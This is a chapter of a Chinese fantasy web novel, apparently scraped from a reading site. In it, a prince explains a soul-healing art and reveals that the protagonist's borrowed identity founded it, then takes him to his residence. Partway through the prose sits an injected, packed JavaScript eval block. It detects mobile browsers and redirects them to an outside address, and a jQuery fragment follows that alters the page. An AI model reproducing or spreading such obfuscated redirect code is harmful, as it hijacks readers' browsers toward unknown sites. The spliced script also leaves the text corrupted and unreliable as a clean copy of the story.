李焉隅闻言,并未立即应声。他抬手,将内壁挂灯盏的琉璃罩轻轻扣拢,晕黄的光便聚了起来,落在身前一方紫檀小几上,映得那双手骨节分明,修长如玉。
“正是。”
他笑着提起红泥小炉上煨着的茶壶,水流徐徐注入杯中,蒸腾的热气模糊了片刻的眉眼。车外雨声潺潺,敲在车篷上,细碎而绵密。
“司灵一事,说来话长。寻常医者,治的是皮囊形体,调的是阴阳气血。金石药饵,无非作用于血肉之身。”
那杯新沏的茶被推至谢攸面前,青瓷杯底与檀木相触,发出极轻的一声响动。
“而司灵不同。它所作用的,是血肉之下的‘根本’。”
“根本?”谢攸接过微烫的茶盏,闻言不解,顺势开口问道。
李焉隅一颔首。
“有言道‘神灵舍心,魂魄毕具,乃成为人’(注1)。人初降生于世,赖魂魄俱全,神灵不灭,日后方得以长久。而神灵,又可细分为三魂与七魄。”
谢攸自小习医,即便如今记忆寥寥,对这些也还略有印象。
三魂者,其名为胎光、爽灵、幽精。(注2)
胎光,主寿夭与生机,是最根本之魂。若人胎光明亮,则身康体健,福寿绵长;反之则神昏志惰,重病缠身。
爽灵,掌思虑与智慧。此魂强盛的人,多机敏善断;然则物极必反,若过强以至失衡,易使人陷入算计,欲壑难填。
幽精,司情感与爱欲。幽精不安,则情志紊乱,爱憎无常;若此魂离去,则七情六欲也随之尽皆湮灭,人亦形同槁木,不知喜恶。
三魂皆性轻且清,若人突遭巨大的惊吓或创伤,极易震荡离体。
这便是所谓的“魂不守舍”。
而最寻常的应对法子,就是民间道士所行的“招魂”了。
七魄则相对简单,是人的生理机制本能,对应心、胆、肾、肝、脾、肺、三焦,共同作用,维持身体运转。
马车碾过一块碎石,车身轻轻震荡了下。壁灯的光随之摇曳,投下明明灭灭的影。
李焉隅声气依旧平稳,仿佛方才的颠簸未入心绪。
“司灵之术,小病医魄,大病医魂,通过人体几处关穴,将药力直送神灵,能在魂魄上行医。因此,若遇沉疴痼疾、乃至绝症,往往能生出奇效,逆天改命,达到寻常医术不能有的效果。”
他稍稍一顿。
“容斟和此番,便在于身弱之本,胎光长久不稳,又常年执掌玄镇司,思虑过重,因此爽灵偏颇,这才病气难愈。”
如此,司灵便异常见效了。
谢攸听罢,不禁缓缓摇头,轻叹一声,只觉天地浩渺,玄妙无穷。
“世上竟有这等追源逐本之法……不知最初窥见这些的人,是得了怎样的机缘,方参破此道。”
李焉隅并未接他的话,只将话音不着痕迹地一转,续道:
“司灵之术虽能直指根本,是真正的药到病除,但其根基终究系于‘药’之一字。若用药稍有偏差,未能与魂魄全然相契,失之毫厘便极易适得其反,非但不能治愈,反会加重病势,后果不堪设想。”
谢攸闻言,倏然一怔,想起在玄镇司的种种,一股寒意自脊背悄无声息地涌上心头。
“那你方才竟还听信我的判断用药?”
若早知此事这般凶险,又关乎性命至此,他断不敢仅凭一点朦胧的直觉与残缺的记忆便贸然开口,给他用药。
……实在太轻率了。
万幸未曾酿成大错。
谢攸心底后知后觉地涌起一阵惴惴不安的惶然。
就好像,他没能把那个人救活一样。
车厢内静了片刻,只听得见轮毂轧过湿泞石道的轻响,和窗外不曾停歇的雨声。
李焉隅收了笑意望着他。灯色昏黄,在他眼底投下一片细碎而温柔的光。他声色依旧平和,如同雨珠轻轻敲落在心上:
“是你。”
谢攸转向了他,眉目间带着一丝尚未回神的茫然:“嗯?”
“我说,第一个窥见魂灵之秘、创立司灵之道的,那位惊才绝艳之人,是你。忌虚白。”
——所以,我才敢听信你的判断。
谢攸只觉得心口一窒,恍若被什么温柔而沉重的东西裹挟住了呼吸。方才在胸腔里悬而未决的一口气,霎时凝结在这具身子里,连指尖都微微发麻,褪尽了温度。
他倏忽间抬眸,直直望入李焉隅的眼睛。那双深潭般的眸子里光影流转,安静而认真,并无半分说笑之意。
谢攸忽然想起这一日的种种。
怪不得茶馆里的众人称他为“灵仙人”,怪不得圣上会破格赐下“司灵官”之衔,怪不得有“活死人、肉白骨”的奇誉,引得人人敬重而以礼待之……
一念及此,方才那点因窥见医理奥秘而生的悸动,以及对玄镇司种种情形的惶恐,在这一刻都荡然无存。
万千心绪如流云般散去,最终只化作一片惊涛拍岸的潮水,反复漫过心间,脑中唯余二字:
惭愧。
他几乎是在心底反复默念,向着那位素未谋面、却被自己借用了身份的“忌虚白”轻轻告罪。字字诚恳,盼他海涵,莫要计较自己这无心之失、无奈之举。
马车仍不疾不徐地行着,轮声碌碌,混着淅沥雨音,织就成一片模模糊糊的底色。
李焉隅倚了回去,眼底含着笑意,却不再言语,侧颜在灯下垂落成一道剪影,仿佛方才所言的,只是一句再寻常不过的话,随口一提,如同风过无痕。
.
不知又行了多久,天色已墨黑如砚,车驾缓缓驶入晋王府邸。
府门高阔,阶石清冷,在沉沉的夜色里静默如渊,透出几许庭院深深的寂寥。
“殿下,到了。”
李焉隅轻轻应了一声,先一步下了车,又转过来扶住谢攸。
一旁早有伶俐的侍从躬身迎上,手中厚重的油纸伞“嗒”的一声撑开,悄无声息地为二人隔开了漫天飘散的雨丝。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411402|184595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
踏入府内,竟似步入另一重天地。回廊曲折,檐角轻扬,虽已夜深,处处仍点着灯,暖光融融,映得夜色也温柔了几分。
前厅的中央,是一片精心照料的药圃,旁侧筑有一座小亭,十分精致清雅。
幽微的清气混着雨息,静悄悄地弥漫在庭阶之间。
谢攸目光掠过,不禁微微讶异。
时值深秋,圃中竟还生着些广藿香、附子这些畏寒凉的药草,且长势喜人。
李焉隅并未在前厅多做停留,只引着谢攸穿过寂静院落,行至一处厢房。
推门而入,屋内灯色澄明,陈设无不雅致。银丝炭在兽首铜炉中安静地燃着,霎时将身后湿冷的空气隔绝在外,无声地烘暖了这一室的安谧。
目之所及,花梨木案几触手生温,坐榻上锦垫厚软适宜,壁上那一幅水墨兰竹亦疏淡有致,处处透着不着痕迹的妥帖与细致。
谢攸略略一扫,竟觉得满室陈设,无不合他喜好之处。
案头置着一尊小巧的狻猊香炉,口鼻处正逸着几缕极细的白烟,散发出清浅又带着些许草木香气。
谢攸下意识地轻轻嗅了嗅,那抹熟悉的,能令人心神不自觉沉静下来的清气,便丝丝缕缕地沁入心脾。
这是李焉隅身上的味道。
“京中人多事杂,你从来都不喜欢在这里留宿。”李焉隅回身看向他,“只是今夜实在雨大,时辰又太迟,便先在此处歇下罢。好么?”
谢攸望着这一室早已备妥的周全,一时无言,只轻轻点了点头。
见状,李焉隅眼中不禁漾开了几分温柔的笑意。他又转向身后恭立的下人,细致地吩咐了一些夜间需注意的事,从茶水温度、烛火更换,到窗隙需留几分通风,又担心人着凉……待这一切交代妥当,才准备要离去。
行至门边,忽又驻足,于槛外回身。廊灯给他周遭描摹了一层极其虚渺的轮廓。他的目光安静地落在谢攸的身上,话音在渐息的夜雨里字字清晰。
“明日是太子的生辰,我得要入宫去道贺,傍晚亦要陪同父皇母后赴宴,不知道什么时候才能回来。”
他的声音放得很柔和,谢攸听着,却仿佛带了些刻意和紧绷,像是极力想要说些什么,但是最终又无声地咽了回去,只匆忙间捡了些话嘱咐道。
“你在府里好好休息,自便即可,我会吩咐明日谢客,你有需要尽可跟下人提,他们都会做好。若想去哪里走走,或是府上缺了什么,哪怕是要离开……”
他说到最后竟有些混乱,尾音很轻,几乎叫人听不真切。
夜风拂过,带来庭院中湿润的泥土与草木气息,骤雨将歇,天边的云渐渐散了,露出一点皎洁的月光。
李焉隅站在廊庑下,仿佛立于两个世界的交界。屋内一室安然,谢攸安静地等着下文,银白面具覆在脸上,几乎要与无甚血色的面庞融为一体。
微微一顿,他才又抬起眼,唇畔牵起轻笑,仿佛方才种种不过是一瞬错觉。
“……也定要等我回来。”